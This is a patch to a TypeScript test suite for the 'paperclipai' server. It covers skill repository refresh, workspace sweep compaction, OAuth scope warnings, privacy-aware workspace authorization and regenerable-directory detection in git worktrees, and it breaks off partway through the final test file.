import { agents, folders, companySkillSources, companySkillSourceEntries, companies, companySkills, companySkillVersions, companySkillRepositorySnapshots, createDb } from '@paperclipai/db';
|
||||
import { eq, sql } from 'drizzle-orm';
|
||||
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from './helpers/embedded-postgres.js';
|
||||
import { unprocessable } from '../errors.js';
|
||||
@@ -595,7 +595,7 @@ describe.skipIf(!support.supported)('skill source persistence', () => {
|
||||
await expect(fs.stat(path.join(runtime.source, '.paperclip-repository/shared/tools'))).rejects.toMatchObject({ code: 'ENOENT' });
|
||||
});
|
||||
|
||||
it.each([false, true])('retains installed repository dependencies after an oversized refresh (scheduled: %s)', async scheduled => {
|
||||
it.each([false, true])('updates bounded dependencies after repository growth and retains versions when dependencies cannot fit (scheduled: %s)', async scheduled => {
|
||||
const temporaryCompany = randomUUID();
|
||||
await db.insert(companies).values({ id: temporaryCompany, name: 'Repository fallback', issuePrefix: 'FBK' });
|
||||
let repoFiles = {
|
||||
@@ -623,14 +623,22 @@ describe.skipIf(!support.supported)('skill source persistence', () => {
|
||||
head = 'f'.repeat(40);
|
||||
repoFiles = { ...repoFiles, 'shared/guide.md': 'New shared instructions',
|
||||
...Object.fromEntries(Array.from({ length: 62 }, (_, i) => [`generated/${i}.bin`, 'x'])) };
|
||||
const refreshed = await service.refresh(temporaryCompany, installed.source.id, localContext, undefined, undefined, { checkCommit: scheduled });
|
||||
expect(refreshed.source.packageMode).toBe('repository');
|
||||
expect(refreshed.updated.map(skill => skill.id)).toContain(main.id);
|
||||
expect((await library.readFile(temporaryCompany, main.id, '.paperclip-repository/shared/guide.md'))?.content).toBe('New shared instructions');
|
||||
expect(await library.getVersion(temporaryCompany, main.id, versions[0]!.id)).not.toBeNull();
|
||||
const updatedVersions = await library.listVersions(temporaryCompany, main.id);
|
||||
head = 'e'.repeat(40);
|
||||
repoFiles['shared/guide.md'] = 'x'.repeat(1024 * 1024 + 1);
|
||||
await expect(service.refresh(temporaryCompany, installed.source.id, localContext, undefined, undefined, { checkCommit: scheduled }))
|
||||
.rejects.toThrow('Installed repository skills and their dependencies were kept');
|
||||
const retained = await service.detail(temporaryCompany, installed.source.id);
|
||||
expect(retained.packageMode).toBe('repository');
|
||||
expect(retained.lastScanCommit).toBe(sha);
|
||||
expect(retained.lastScanCommit).toBe('f'.repeat(40));
|
||||
expect(retained.lastError).toContain('dependencies were kept');
|
||||
expect(await library.listVersions(temporaryCompany, main.id)).toEqual(versions);
|
||||
expect((await library.readFile(temporaryCompany, main.id, '.paperclip-repository/shared/guide.md'))?.content).toBe('Working shared instructions');
|
||||
expect(await library.listVersions(temporaryCompany, main.id)).toEqual(updatedVersions);
|
||||
expect((await library.readFile(temporaryCompany, main.id, '.paperclip-repository/shared/guide.md'))?.content).toBe('New shared instructions');
|
||||
expect((await library.readFile(temporaryCompany, main.id, '.paperclip-repository/skills/helper/SKILL.md'))?.content).toBe(md('helper'));
|
||||
repoFiles = { 'skills/main/SKILL.md': repoFiles['skills/main/SKILL.md'], 'skills/helper/SKILL.md': md('helper'), 'shared/guide.md': 'New shared instructions' };
|
||||
await service.refresh(temporaryCompany, installed.source.id, localContext);
|
||||
@@ -641,6 +649,31 @@ describe.skipIf(!support.supported)('skill source persistence', () => {
|
||||
}
|
||||
});
|
||||
|
||||
it('imports an explicitly selected skill with missing references and repairs cached dependency failures at an unchanged commit', async () => {
|
||||
const temporaryCompany = randomUUID();
|
||||
await db.insert(companies).values({ id: temporaryCompany, name: 'Warning import', issuePrefix: 'WRN' });
|
||||
const read = githubFixture({ 'skills/test-audit/SKILL.md': md('test-audit') + '\nRead [optional](references/unavailable.md).' });
|
||||
const localContext = { ...context, read: () => read };
|
||||
try {
|
||||
const service = skillSourceService(db);
|
||||
const imported = await service.create(temporaryCompany, { repositoryUrl: 'https://github.com/acme/skills',
|
||||
selectedPaths: ['skills/test-audit/SKILL.md'] }, localContext);
|
||||
expect(imported.imported).toHaveLength(1);
|
||||
expect(imported.warnings.join(' ')).toContain('references/unavailable.md');
|
||||
const skillId = imported.imported[0]!.id;
|
||||
await db.update(companySkillSourceEntries).set({ error: 'This skill depends on files that its imported package cannot provide. Its dependencies could not be preserved.' })
|
||||
.where(eq(companySkillSourceEntries.sourceId, imported.source.id));
|
||||
const open = vi.spyOn(read, 'openSnapshot');
|
||||
const repaired = await service.refresh(temporaryCompany, imported.source.id, localContext, undefined, undefined, { checkCommit: true });
|
||||
expect(open).toHaveBeenCalledOnce();
|
||||
expect(repaired.source.entries[0]).toMatchObject({ skillId, error: null });
|
||||
expect(repaired.source.entries[0]!.inspection?.references).toHaveLength(1);
|
||||
open.mockClear();
|
||||
await service.refresh(temporaryCompany, imported.source.id, localContext, undefined, undefined, { checkCommit: true });
|
||||
expect(open).not.toHaveBeenCalled();
|
||||
} finally { await deleteCompany(db, temporaryCompany); }
|
||||
});
|
||||
|
||||
it('cascades repository snapshots and referencing versions when the owning company is deleted', async () => {
|
||||
const temporaryCompany = randomUUID();
|
||||
await db.insert(companies).values({ id: temporaryCompany, name: 'Temporary repository company', issuePrefix: 'TMP' });
|
||||
|
||||
@@ -22,7 +22,7 @@ function setup() {
|
||||
});
|
||||
coordinators.push(coordinator);
|
||||
const service = {
|
||||
sweepTerminalWorkspaces: vi.fn(async (_limit?: number, _signal?: AbortSignal) => ({ checked: 0 })),
|
||||
sweepTerminalWorkspaces: vi.fn(async (_limit?: number, _signal?: AbortSignal, _options?: { compact?: boolean }) => ({ checked: 0 })),
|
||||
hasTerminalWorkspaceSweepContinuation: vi.fn(() => false),
|
||||
nextTerminalWorkspaceSweepAt: vi.fn(async (): Promise<number | null> => null),
|
||||
};
|
||||
@@ -44,6 +44,17 @@ describe("terminal workspace work", () => {
|
||||
expect(worker.hasUnrecoveredWork()).toBe(false);
|
||||
});
|
||||
|
||||
it("skips compaction only in the startup sweep that readiness waits for", async () => {
|
||||
const s = setup();
|
||||
s.service.hasTerminalWorkspaceSweepContinuation.mockReturnValueOnce(true);
|
||||
await s.start().ready;
|
||||
expect(s.service.sweepTerminalWorkspaces).toHaveBeenCalledTimes(1);
|
||||
expect(s.service.sweepTerminalWorkspaces.mock.calls[0]?.[2]).toEqual({ compact: false });
|
||||
await vi.advanceTimersByTimeAsync(1_000);
|
||||
expect(s.service.sweepTerminalWorkspaces).toHaveBeenCalledTimes(2);
|
||||
expect(s.service.sweepTerminalWorkspaces.mock.calls[1]?.[2]).toEqual({ compact: true });
|
||||
});
|
||||
|
||||
it("restores the cooldown deadline, lets commits preempt it, and parks after cleanup", async () => {
|
||||
const s = setup(), due = Date.now() + 86_400_000;
|
||||
s.service.nextTerminalWorkspaceSweepAt.mockResolvedValue(due);
|
||||
|
||||
@@ -10826,20 +10826,14 @@ describeEmbeddedPostgres("tool access service", () => {
|
||||
};
|
||||
}
|
||||
|
||||
it("records the over-grant on the shared organization grant", async () => {
|
||||
it("keeps the over-grant warning when a refresh asserts no scope", async () => {
|
||||
const lane = await connectSharedSlack("channels:read chat:write");
|
||||
|
||||
// The organization grant is created before OAuth has any credentials, so it used to be
|
||||
// the one record with no provenance at all.
|
||||
expect((await lane.readGrant()).providerTenant?.oauth).toMatchObject({
|
||||
scopes: ["channels:read", "chat:write"],
|
||||
scopeSource: "provider",
|
||||
unrequestedScopes: ["chat:write"],
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps the over-grant warning when a refresh asserts no scope", async () => {
|
||||
const lane = await connectSharedSlack("channels:read chat:write");
|
||||
|
||||
await lane.refreshWithScope(null);
|
||||
|
||||
|
||||
@@ -0,0 +1,252 @@
|
||||
import { createHash, randomUUID } from "node:crypto";
|
||||
import { mkdtemp, realpath, rm } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterAll, beforeAll, describe, expect, it, vi } from "vitest";
|
||||
import { and, eq, inArray, sql } from "drizzle-orm";
|
||||
import { drizzle } from "drizzle-orm/postgres-js";
|
||||
import { agents, authUsers, companies, companyMemberships, createDb, executionWorkspaces, executionWorkspaceRepositoryAccess, heartbeatRuns, issueAccessGrants,
|
||||
issues, projects, projectAccessMembers, EMBEDDED_POSTGRES_TEST_TIMEOUT_MS } from "@paperclipai/db";
|
||||
import { authorizationService, executionWorkspaceReadSqlCondition, type AuthorizationActor } from "../services/authorization.js";
|
||||
import { executionWorkspaceRepositoryService, assertExecutionWorkspaceRootReadAccess } from "../services/execution-workspace-repositories.js";
|
||||
import { assertTaskWorkspaceAccess } from "../services/task-workspace-source-access.js";
|
||||
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
|
||||
|
||||
const support = await getEmbeddedPostgresTestSupport();
|
||||
(support.supported ? describe : describe.skip)("workspace authorization query", () => {
|
||||
let database: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
|
||||
let db: ReturnType<typeof createDb>;
|
||||
const companyId = randomUUID(), agentId = randomUUID(), userId = randomUUID(), workspaceId = randomUUID(), runId = randomUUID();
|
||||
const sourceId = "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee";
|
||||
const actor: AuthorizationActor = { type: "agent", source: "agent_jwt", companyId, agentId, runId, onBehalfOfUserId: userId };
|
||||
|
||||
beforeAll(async () => {
|
||||
vi.stubEnv("PAPERCLIP_ISSUE_PRIVACY_MODE", "enforce");
|
||||
database = await startEmbeddedPostgresTestDatabase("workspace-authorization-query-");
|
||||
db = createDb(database.connectionString);
|
||||
await db.insert(companies).values({ id: companyId, name: "Workspace authorization", issuePrefix: "WAQ" });
|
||||
await db.insert(authUsers).values({ id: userId, name: "Sponsor", email: `${userId}@example.test`, emailVerified: true, createdAt: new Date(), updatedAt: new Date() });
|
||||
await db.insert(agents).values({ id: agentId, companyId, name: "Worker", adapterType: "process" });
|
||||
await db.insert(companyMemberships).values({ companyId, principalType: "user", principalId: userId, status: "active", membershipRole: "operator" });
|
||||
await db.insert(executionWorkspaces).values({ id: workspaceId, companyId, name: "Retained files", mode: "shared_workspace", strategyType: "operator_directory" });
|
||||
await db.$client.unsafe(`insert into issues (company_id, title) select $1, 'Unrelated history ' || n from generate_series(1, 1200) n`, [companyId]);
|
||||
await db.insert(issues).values({ id: sourceId, companyId, title: "Retained source" });
|
||||
await db.insert(heartbeatRuns).values({ id: runId, companyId, agentId, status: "succeeded", contextSnapshot: { issueId: sourceId } });
|
||||
await db.$client.unsafe("ANALYZE");
|
||||
}, EMBEDDED_POSTGRES_TEST_TIMEOUT_MS);
|
||||
afterAll(async () => {
|
||||
vi.unstubAllEnvs();
|
||||
await db?.$client.end({ timeout: 0 });
|
||||
await database?.cleanup();
|
||||
});
|
||||
|
||||
async function query() {
|
||||
return db.select().from(executionWorkspaces).where(and(eq(executionWorkspaces.id, workspaceId),
|
||||
eq(executionWorkspaces.companyId, companyId), await executionWorkspaceReadSqlCondition(db, actor))).toSQL();
|
||||
}
|
||||
async function read() {
|
||||
const q = await query();
|
||||
return db.$client.unsafe(q.sql, q.params as never[]);
|
||||
}
|
||||
async function retain(id: string) {
|
||||
// Seed historical/corrupt provenance in this disposable database. Normal
|
||||
// writes have a trigger that deliberately preserves the previous keys.
|
||||
await db.transaction(async tx => {
|
||||
await tx.execute(sql`set local session_replication_role = replica`);
|
||||
await tx.update(executionWorkspaces).set({ metadata: { _issuePrivacySources: { [id]: true } } })
|
||||
.where(eq(executionWorkspaces.id, workspaceId));
|
||||
});
|
||||
}
|
||||
|
||||
it("checks retained task IDs without evaluating privacy for unrelated company history", async () => {
|
||||
await retain(sourceId);
|
||||
expect(await read()).toHaveLength(1);
|
||||
const q = await query();
|
||||
const [result] = await db.$client.unsafe(`EXPLAIN (ANALYZE, FORMAT JSON) ${q.sql}`, q.params as never[]);
|
||||
type Plan = { "Node Type": string; "Actual Loops": number; Plans?: Plan[] };
|
||||
function privacyTraversals(plan: Plan): number {
|
||||
return (plan["Node Type"] === "Recursive Union" ? plan["Actual Loops"] : 0)
|
||||
+ (plan.Plans ?? []).reduce((sum, child) => sum + privacyTraversals(child), 0);
|
||||
}
|
||||
// A single source should not make admission authorize 1,200 unrelated tasks
|
||||
// for both the agent and its responsible user under the company-wide lock.
|
||||
expect(privacyTraversals(result["QUERY PLAN"][0].Plan)).toBeLessThan(100);
|
||||
});
|
||||
|
||||
it("enumerates attached and retained source tasks without scanning unrelated history", async () => {
|
||||
await retain(sourceId);
|
||||
const [attached] = await db.insert(issues).values({ companyId, title: "Attached source", executionWorkspaceId: workspaceId })
|
||||
.returning({ id: issues.id });
|
||||
try {
|
||||
const statements: Array<{ sql: string; params: unknown[] }> = [];
|
||||
const recorded = drizzle(db.$client, {
|
||||
schema: db._.fullSchema,
|
||||
logger: { logQuery: (query, params) => statements.push({ sql: query, params }) },
|
||||
}) as unknown as typeof db;
|
||||
await assertTaskWorkspaceAccess(recorded, { type: "board", source: "local_implicit", userId: "local-board" }, companyId, workspaceId);
|
||||
const query = statements.find(statement => statement.sql.startsWith('select "id" from "issues"')
|
||||
&& statement.sql.includes('"execution_workspace_id"'));
|
||||
expect(query).toBeDefined();
|
||||
const rows = await db.$client.unsafe(query!.sql, query!.params as never[]);
|
||||
expect(rows.map(row => row.id).sort()).toEqual([attached.id, sourceId].sort());
|
||||
for (const invalidId of [sourceId.toUpperCase(), "not-a-uuid"]) {
|
||||
const params = query!.params.map(value => value === sourceId ? invalidId : value);
|
||||
const noncanonical = await db.$client.unsafe(query!.sql, params as never[]);
|
||||
expect(noncanonical.map(row => row.id)).toEqual([attached.id]);
|
||||
}
|
||||
const [result] = await db.$client.unsafe(`EXPLAIN (ANALYZE, FORMAT JSON) ${query!.sql}`, query!.params as never[]);
|
||||
type Plan = { "Relation Name"?: string; "Actual Rows": number; "Actual Loops": number; "Rows Removed by Filter"?: number; Plans?: Plan[] };
|
||||
function issueRowsExamined(plan: Plan): number {
|
||||
return (plan["Relation Name"] === "issues"
|
||||
? (plan["Actual Rows"] + (plan["Rows Removed by Filter"] ?? 0)) * plan["Actual Loops"] : 0)
|
||||
+ (plan.Plans ?? []).reduce((sum, child) => sum + issueRowsExamined(child), 0);
|
||||
}
|
||||
expect(issueRowsExamined(result["QUERY PLAN"][0].Plan)).toBeLessThan(100);
|
||||
} finally {
|
||||
await db.delete(issues).where(eq(issues.id, attached.id));
|
||||
}
|
||||
});
|
||||
|
||||
it("authorizes a retained repository in bounded database round trips as its workspace history grows", async () => {
|
||||
const cwd = await mkdtemp(path.join(tmpdir(), "root-admission-query-"));
|
||||
const workspaceIds = Array.from({ length: 40 }, () => randomUUID());
|
||||
const sourceIds = workspaceIds.map(() => randomUUID());
|
||||
await db.insert(executionWorkspaces).values(workspaceIds.map(id => ({
|
||||
id, companyId, cwd, name: "Historical root", mode: "shared_workspace", strategyType: "operator_directory",
|
||||
metadata: { _issuePrivacySources: { [sourceId]: true } },
|
||||
})));
|
||||
await db.insert(issues).values(sourceIds.map((id, i) => ({ id, companyId, title: "Source", executionWorkspaceId: workspaceIds[i] })));
|
||||
try {
|
||||
const statements: string[] = [];
|
||||
const recorded = drizzle(db.$client, { schema: db._.fullSchema,
|
||||
logger: { logQuery: query => statements.push(query) } }) as unknown as typeof db;
|
||||
await assertExecutionWorkspaceRootReadAccess(recorded, { companyId, cwd, actor: { ...actor } });
|
||||
expect(statements.length).toBeLessThan(60);
|
||||
await db.update(issues).set({ visibility: "private", privacyRootIssueId: sourceIds[39] }).where(eq(issues.id, sourceIds[39]));
|
||||
await expect(assertExecutionWorkspaceRootReadAccess(db, { companyId, cwd, actor: { ...actor } })).rejects.toThrow();
|
||||
} finally {
|
||||
await db.delete(issues).where(inArray(issues.id, sourceIds));
|
||||
await db.delete(executionWorkspaces).where(inArray(executionWorkspaces.id, workspaceIds));
|
||||
await rm(cwd, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("shares source loading across retained readers during actual repository admission", async () => {
|
||||
const cwd = await realpath(await mkdtemp(path.join(tmpdir(), "multi-reader-admission-")));
|
||||
const rootKey = createHash("sha256").update(cwd).digest("hex");
|
||||
const workspaceIds = Array.from({ length: 40 }, () => randomUUID());
|
||||
const taskIds = workspaceIds.map(() => randomUUID()), runIds = taskIds.slice(0, 10).map(() => randomUUID());
|
||||
await db.insert(executionWorkspaces).values(workspaceIds.map(id => ({ id, companyId, cwd,
|
||||
name: "Historical root", mode: "shared_workspace", strategyType: "operator_directory" })));
|
||||
await db.insert(issues).values(taskIds.map((id, i) => ({ id, companyId, title: "Source", assigneeAgentId: agentId, executionWorkspaceId: workspaceIds[i] })));
|
||||
await db.insert(heartbeatRuns).values(runIds.map((id, i) => ({ id, companyId, agentId, responsibleUserId: userId,
|
||||
status: "succeeded", contextSnapshot: { issueId: taskIds[i] } })));
|
||||
await db.insert(executionWorkspaceRepositoryAccess).values(runIds.map((scopeId, i) => ({ companyId, rootKey,
|
||||
canonicalCwd: cwd, kind: "reader", scopeId, issueId: taskIds[i], agentId, responsibleUserId: userId })));
|
||||
try {
|
||||
const statements: string[] = [];
|
||||
const recorded = drizzle(db.$client, { schema: db._.fullSchema,
|
||||
logger: { logQuery: query => statements.push(query) } }) as unknown as typeof db;
|
||||
await executionWorkspaceRepositoryService(recorded).prepareForAdmission({ companyId, cwd,
|
||||
issueId: taskIds[0], workspaceId: workspaceIds[0], agentId, runId: runIds[0], responsibleUserId: userId });
|
||||
expect(statements.filter(query => query.includes('from "execution_workspaces"')
|
||||
|| query.includes('from "issues"')).length).toBeLessThan(50);
|
||||
} finally {
|
||||
await db.delete(executionWorkspaceRepositoryAccess).where(and(eq(executionWorkspaceRepositoryAccess.companyId, companyId), eq(executionWorkspaceRepositoryAccess.rootKey, rootKey)));
|
||||
await db.delete(heartbeatRuns).where(inArray(heartbeatRuns.id, runIds));
|
||||
await db.delete(issues).where(inArray(issues.id, taskIds));
|
||||
await db.delete(executionWorkspaces).where(inArray(executionWorkspaces.id, workspaceIds));
|
||||
await rm(cwd, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it.each(["missing", "malformed", "uppercase", "foreign"])("denies a %s retained source without throwing a UUID parse error", async kind => {
|
||||
const id = kind === "malformed" ? "not-a-uuid" : kind === "uppercase" ? sourceId.toUpperCase() : randomUUID();
|
||||
if (kind === "foreign") {
|
||||
const [foreign] = await db.insert(companies).values({ name: "Foreign", issuePrefix: "OTHER" }).returning();
|
||||
await db.insert(issues).values({ id, companyId: foreign.id, title: "Foreign source" });
|
||||
}
|
||||
await retain(id);
|
||||
expect(await read()).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("requires both principals and rechecks revoked grants for retained private files", async () => {
|
||||
await retain(sourceId);
|
||||
await db.update(issues).set({ visibility: "private", privacyRootIssueId: sourceId }).where(eq(issues.id, sourceId));
|
||||
expect(await read()).toHaveLength(0);
|
||||
await db.insert(issueAccessGrants).values({ issueId: sourceId, subjectType: "agent", subjectId: agentId, source: "explicit" });
|
||||
expect(await read()).toHaveLength(0);
|
||||
const [grant] = await db.insert(issueAccessGrants).values({ issueId: sourceId, subjectType: "user", subjectId: userId, source: "explicit" }).returning();
|
||||
expect(await read()).toHaveLength(1);
|
||||
await db.update(issueAccessGrants).set({ revokedAt: new Date() }).where(eq(issueAccessGrants.id, grant.id));
|
||||
expect(await read()).toHaveLength(0);
|
||||
});
|
||||
it.each(["enforce", "shadow", "off"])("matches individual read decisions for a fresh batch in %s mode", async mode => {
|
||||
vi.stubEnv("PAPERCLIP_ISSUE_PRIVACY_MODE", mode);
|
||||
try {
|
||||
const resources = [{ type: "issue" as const, companyId, issueId: sourceId }, { type: "company" as const, companyId }];
|
||||
const actors: AuthorizationActor[] = [actor, { ...actor, onBehalfOfUserId: undefined },
|
||||
{ ...actor, companyId: randomUUID() }, { type: "none" },
|
||||
{ type: "board", source: "session", userId }, { type: "board", source: "local_implicit", userId: "local-board" }];
|
||||
const service = authorizationService(db);
|
||||
for (const candidate of actors) {
|
||||
const individual = [];
|
||||
for (const resource of resources) individual.push(await service.decide({ actor: { ...candidate }, resource,
|
||||
action: resource.type === "issue" ? "issue:read" : "company_scope:read" }));
|
||||
expect(await service.decideReads(candidate, resources)).toEqual(individual);
|
||||
}
|
||||
} finally { vi.stubEnv("PAPERCLIP_ISSUE_PRIVACY_MODE", "enforce"); }
|
||||
});
|
||||
|
||||
it("matches private project decisions as each principal gains and loses access", async () => {
|
||||
const [project] = await db.insert(projects).values({ companyId, name: "Private batch source", visibility: "private" }).returning();
|
||||
const resource = { type: "project" as const, companyId, projectId: project.id };
|
||||
const service = authorizationService(db);
|
||||
const candidates: AuthorizationActor[] = [actor, { ...actor, onBehalfOfUserId: undefined }, { type: "board", source: "session", userId }];
|
||||
async function check(expected: boolean[]) {
|
||||
const batched = await service.decideReadsForActors(candidates, [resource]);
|
||||
for (let i = 0; i < candidates.length; i++) {
|
||||
expect(batched[i][0]).toEqual(await service.decide({ actor: { ...candidates[i] }, action: "project:read", resource }));
|
||||
expect(batched[i][0].allowed).toBe(expected[i]);
|
||||
}
|
||||
}
|
||||
try {
|
||||
await check([false, false, false]);
|
||||
await db.insert(projectAccessMembers).values({ companyId, projectId: project.id, subjectType: "agent", subjectId: agentId });
|
||||
await check([false, true, false]);
|
||||
const [grant] = await db.insert(projectAccessMembers).values({ companyId, projectId: project.id, subjectType: "user", subjectId: userId }).returning();
|
||||
await check([true, true, true]);
|
||||
await db.delete(projectAccessMembers).where(eq(projectAccessMembers.id, grant.id));
|
||||
await check([false, true, false]);
|
||||
} finally { await db.delete(projects).where(eq(projects.id, project.id)); }
|
||||
});
|
||||
|
||||
it("supports more than 100 distinct reader principals for issue and project batches", async () => {
|
||||
const [project] = await db.insert(projects).values({ companyId, name: "Many readers" }).returning();
|
||||
const candidates: AuthorizationActor[] = Array.from({ length: 101 }, () => ({ type: "board", source: "session", userId: randomUUID() }));
|
||||
const service = authorizationService(db);
|
||||
try {
|
||||
for (const resource of [{ type: "issue" as const, companyId, issueId: sourceId }, { type: "project" as const, companyId, projectId: project.id }]) {
|
||||
const decisions = await service.decideReadsForActors(candidates, [resource]);
|
||||
expect(decisions).toHaveLength(101);
|
||||
expect(decisions.every(batch => batch.length === 1 && !batch[0].allowed)).toBe(true);
|
||||
}
|
||||
} finally { await db.delete(projects).where(eq(projects.id, project.id)); }
|
||||
});
|
||||
|
||||
it("reloads run trust and responsible-user membership between read batches", async () => {
|
||||
const service = authorizationService(db);
|
||||
const resources = [{ type: "company" as const, companyId }];
|
||||
expect((await service.decideReads(actor, resources))[0].allowed).toBe(true);
|
||||
await db.update(heartbeatRuns).set({ contextSnapshot: { issueId: sourceId, executionPolicy: {
|
||||
trustPreset: "low_trust_review", authorizationPolicy: { trustPreset: "low_trust_review",
|
||||
trustBoundary: { mode: "low_trust_review", companyId, rootIssueId: sourceId } },
|
||||
} } }).where(eq(heartbeatRuns.id, runId));
|
||||
expect((await service.decideReads(actor, resources))[0]).toMatchObject({ allowed: false, reason: "deny_low_trust_boundary" });
|
||||
await db.update(heartbeatRuns).set({ contextSnapshot: { issueId: sourceId } }).where(eq(heartbeatRuns.id, runId));
|
||||
expect((await service.decideReads(actor, resources))[0].allowed).toBe(true);
|
||||
await db.update(companyMemberships).set({ status: "inactive" }).where(and(eq(companyMemberships.companyId, companyId), eq(companyMemberships.principalId, userId)));
|
||||
expect((await service.decideReads(actor, resources))[0]).toMatchObject({ allowed: false, code: "RESPONSIBLE_USER_UNAVAILABLE" });
|
||||
});
|
||||
|
||||
});
|
||||
@@ -0,0 +1,214 @@
|
||||
import { execFile } from "node:child_process";
|
||||
import fs from "node:fs/promises";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { promisify } from "node:util";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
import {
|
||||
WORKSPACE_COMPACTION_TRASH_DIR,
|
||||
deleteWorkspaceCompactionTrash,
|
||||
findRegenerableWorkspaceDirs,
|
||||
isLinkedGitWorktree,
|
||||
moveWorkspaceDirsToTrash,
|
||||
purgeStaleWorkspaceCompactionTrash,
|
||||
restoreWorkspaceDirsFromTrash,
|
||||
} from "../services/workspace-compaction.ts";
|
||||
|
||||
const execFileAsync = promisify(execFile);
|
||||
const tempDirs: string[] = [];
|
||||
|
||||
async function git(cwd: string, args: string[]) {
|
||||
return (await execFileAsync("git", ["-C", cwd, ...args], { cwd })).stdout.trim();
|
||||
}
|
||||
|
||||
async function write(filePath: string, contents = "x\n") {
|
||||
await fs.mkdir(path.dirname(filePath), { recursive: true });
|
||||
await fs.writeFile(filePath, contents, "utf8");
|
||||
}
|
||||
|
||||
async function createRepoWithWorktree(gitignore: string[]) {
|
||||
const root = await fs.realpath(await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-compaction-unit-")));
|
||||
tempDirs.push(root);
|
||||
const repoRoot = path.join(root, "repo");
|
||||
await fs.mkdir(repoRoot);
|
||||
await git(repoRoot, ["init", "-b", "main"]);
|
||||
await git(repoRoot, ["config", "user.name", "Paperclip Test"]);
|
||||
await git(repoRoot, ["config", "user.email", "test@paperclip.local"]);
|
||||
await write(path.join(repoRoot, ".gitignore"), `${gitignore.join("\n")}\n`);
|
||||
await git(repoRoot, ["add", ".gitignore"]);
|
||||
await git(repoRoot, ["commit", "-m", "Initial commit"]);
|
||||
const worktreePath = path.join(root, "worktrees", "PAP-1-task");
|
||||
await git(repoRoot, ["worktree", "add", "-b", "PAP-1-task", worktreePath, "main"]);
|
||||
return { root, repoRoot, worktreePath };
|
||||
}
|
||||
|
||||
afterEach(async () => {
|
||||
for (const dir of tempDirs.splice(0)) await fs.rm(dir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe("findRegenerableWorkspaceDirs", () => {
|
||||
it("returns only ignored, untracked directories with a regenerable name", async () => {
|
||||
const { worktreePath } = await createRepoWithWorktree([
|
||||
"node_modules/", "dist/", ".turbo/", ".env", "local-data/", ".paperclip/", "coverage/",
|
||||
]);
|
||||
await write(path.join(worktreePath, "node_modules/a/index.js"));
|
||||
await write(path.join(worktreePath, "packages/ui/node_modules/b/index.js"));
|
||||
await write(path.join(worktreePath, "packages/ui/dist/ui.js"));
|
||||
await write(path.join(worktreePath, ".turbo/cache"));
|
||||
// Ignored, but not a regenerable name: data and secrets stay.
|
||||
await write(path.join(worktreePath, ".env"));
|
||||
await write(path.join(worktreePath, "local-data/state.json"));
|
||||
// A regenerable name that Git does not ignore is source.
|
||||
await write(path.join(worktreePath, "build/keep.txt"));
|
||||
// The worktree instance data is never scanned.
|
||||
await write(path.join(worktreePath, ".paperclip/node_modules/c/index.js"));
|
||||
// An ignored directory with a force-added tracked file is source.
|
||||
await write(path.join(worktreePath, "coverage/baseline.json"));
|
||||
await git(worktreePath, ["add", "-f", "coverage/baseline.json"]);
|
||||
|
||||
expect((await findRegenerableWorkspaceDirs(worktreePath)).sort()).toEqual([
|
||||
".turbo",
|
||||
"node_modules",
|
||||
"packages/ui/dist",
|
||||
"packages/ui/node_modules",
|
||||
]);
|
||||
});
|
||||
|
||||
it("does not follow or return a symlinked directory", async () => {
|
||||
const { root, worktreePath } = await createRepoWithWorktree(["node_modules"]);
|
||||
const outside = path.join(root, "shared-store");
|
||||
await write(path.join(outside, "node_modules/pkg/index.js"));
|
||||
await fs.symlink(path.join(outside, "node_modules"), path.join(worktreePath, "node_modules"));
|
||||
await fs.symlink(outside, path.join(worktreePath, "linked"));
|
||||
|
||||
expect(await findRegenerableWorkspaceDirs(worktreePath)).toEqual([]);
|
||||
});
|
||||
|
||||
it("searches inside a regenerable-named directory that is source", async () => {
|
||||
const { worktreePath } = await createRepoWithWorktree(["node_modules/"]);
|
||||
// `build/` holds tracked source, so it stays, but its ignored dependencies go.
|
||||
await write(path.join(worktreePath, "build/scripts/release.ts"));
|
||||
await git(worktreePath, ["add", "build/scripts/release.ts"]);
|
||||
await write(path.join(worktreePath, "build/node_modules/tool/index.js"));
|
||||
// An untracked, not-ignored `dist/` is work in progress; its ignored
|
||||
// dependencies still go.
|
||||
await write(path.join(worktreePath, "dist/notes.md"));
|
||||
await write(path.join(worktreePath, "dist/node_modules/dep/index.js"));
|
||||
|
||||
expect((await findRegenerableWorkspaceDirs(worktreePath)).sort()).toEqual([
|
||||
"build/node_modules",
|
||||
"dist/node_modules",
|
||||
]);
|
||||
});
|
||||
|
||||
it("finds dependencies below an ignored parent directory", async () => {
|
||||
const { worktreePath } = await createRepoWithWorktree(["vendor/", "node_modules/"]);
|
||||
await write(path.join(worktreePath, "vendor/tool/source.c"));
|
||||
await write(path.join(worktreePath, "vendor/tool/node_modules/dep/index.js"));
|
||||
// A single nested candidate once made `ls-files --directory` fail.
|
||||
expect(await findRegenerableWorkspaceDirs(worktreePath)).toEqual(["vendor/tool/node_modules"]);
|
||||
|
||||
await write(path.join(worktreePath, "node_modules/a/index.js"));
|
||||
expect((await findRegenerableWorkspaceDirs(worktreePath)).sort())
|
||||
.toEqual(["node_modules", "vendor/tool/node_modules"]);
|
||||
});
|
||||
|
||||
it("keeps a directory that a negated pattern unignores", async () => {
|
||||
const { worktreePath } = await createRepoWithWorktree(["build/", "!build/", "dist/", "node_modules/"]);
|
||||
// Untracked work in an explicitly unignored directory is not regenerable.
|
||||
await write(path.join(worktreePath, "build/release-notes.md"));
|
||||
await write(path.join(worktreePath, "dist/bundle.js"));
|
||||
|
||||
expect(await findRegenerableWorkspaceDirs(worktreePath)).toEqual(["dist"]);
|
||||
await expect(fs.access(path.join(worktreePath, "build/release-notes.md"))).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("handles directory names with glob characters in the tracked-file check", async () => {
|
||||
